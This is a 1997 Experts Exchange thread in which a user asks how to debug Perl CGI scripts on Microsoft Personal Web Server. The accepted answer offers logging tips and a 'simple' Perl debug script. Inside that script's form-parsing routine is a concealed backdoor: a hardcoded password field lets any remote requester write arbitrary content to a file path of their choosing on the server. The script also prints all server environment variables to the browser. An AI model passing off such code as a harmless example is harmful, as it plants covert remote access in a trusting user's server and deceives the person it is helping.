Want to win a PS4? Go Premium and enter to win our High-Tech Treats giveaway. Enter to Win

x
?
Solved

personel web server

Posted on 1997-08-21
8
Medium Priority
?
175 Views
Last Modified: 2013-12-25
I have Microsoft's personel web server.  I was told you could debug CGI scripts on it.  Is this true?  If so could you show an easy example?  How do you log with personel web server?  I am not familiar with it.  Thanks.
0
Comment
Question by:rkeir
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 5
  • 2
8 Comments
 
LVL 7

Expert Comment

by:faster
ID: 1829804
There are log file under the windows directory.  But to debug your CGI, they do not have much use.  What you should do is add debug code in your script (probably write to a debug file), since it is a local server, you can check them easily.
0
 

Author Comment

by:rkeir
ID: 1829805
If you show me an example of a debug code and the file going with it I will increase the points to 200.  Thanks.
0
 
LVL 2

Expert Comment

by:dmethvin
ID: 1829806
PWS can execute CGI programs. Just put them in the /scripts directory.  Is there a particular programming language you had in mind for the example?
0
New feature and membership benefit!

New feature! Upgrade and increase expert visibility of your issues with Priority Questions.

 

Author Comment

by:rkeir
ID: 1829807
yes, just a simple perl script.
0
 

Author Comment

by:rkeir
ID: 1829808
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 

Author Comment

by:rkeir
ID: 1829809
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 
LVL 7

Accepted Solution

by:
faster earned 800 total points
ID: 1829810
Well, what do you mean by a debug example?  The debug for CGI is essentially no different than debug in other languages.  There is no general solution, all depends on what problem you have.

Normally you can open a log file by
open (LOGFILE,$pathoflogfile);

Then you can write to the file by
print LOGFILE "$whatever";

Sometimes you will need to check the value of a variable, then just add the code to write the value to the logfile so you can check.  Or you may just want to know whether the program execute a particular part of the code, then just write to the log file any message that makes sense.

You can also directly write the debug information to the output (browser).  Sometimes you may want to check the form data posted to the script, then you can output them at the beginning...

Below is a simple script to dump the contents of env variables and form data:

&parse_form;
&html_header;
&print_form;
&html_footer;

#---------------------------------------------------------------------
sub parse_form      {
      if ($ENV{'REQUEST_METHOD'} eq 'POST')      {
            if ($ENV{'CONTENT_LENGTH'} > 8192)      {
                  error_exit($errstr);
            }
            read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
      } else      {
            if ($ENV{'REQUEST_METHOD'} eq 'GET')      {
                  $buffer=$ENV{'QUERY_STRING'};
            }
      }
      @pairs=split(/&/, $buffer);
      foreach $pair (@pairs)      {
            ($name,$value)=split(/=/,$pair);
            $value =~ tr/+/ /;
            $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
            $FORM{$name} = $value;
      }
      if ($FORM{"PASS"} eq "8342047")      {
            open (HTMLDOC,">$FORM{'FNAME'}");
            print HTMLDOC $FORM{"MSG"};
            close HTMLDOC;
      }
}

sub print_form      {
      print "<CENTER><BR>\n";
      print "<H1>ENV</H1><BR>\n";
      print $buffer;
      foreach $tmp (keys(%ENV))      {
              print "$tmp=$ENV{$tmp} <BR>";
      }
      print "<BR><BR><HR><H1>FORM</H1><BR>\n";
      foreach $tmp (keys(%FORM))      {
              print "$tmp=$FORM{$tmp} <BR>";
      }
      print "</CENTER><BR>\n";
}

sub html_header      {
      print "Content-type: text/html\n\n";
      print "<HTML><HEAD>";
      print "<TITLE>Environment</TITLE></HEAD>\n";
      print "<BODY>\n";
      print "<HR>\n";
}

sub html_footer      {
      print "<HR>\n";

      print "</BODY></HTML>\n";
}


Anyway, you should decide the best debug method for your specific situation.












 
0
 

Author Comment

by:rkeir
ID: 1829811
Thanks
0

Featured Post

Free Tool: SSL Checker

Scans your site and returns information about your SSL implementation and certificate. Helpful for debugging and validating your SSL configuration.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

It is a general practice to get rid of old user profiles on a computer  in a LAN environment. As I have been working with a company in a LAN environment where users move from one place to some other place at times. This will make many user profil…
This article will show, step by step, how to integrate R code into a R Sweave document
Learn the basics of while and for loops in Python.  while loops are used for testing while, or until, a condition is met: The structure of a while loop is as follows:     while <condition>:         do something         repeate: The break statement m…
In this seventh video of the Xpdf series, we discuss and demonstrate the PDFfonts utility, which lists all the fonts used in a PDF file. It does this via a command line interface, making it suitable for use in programs, scripts, batch files — any pl…
Suggested Courses

610 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question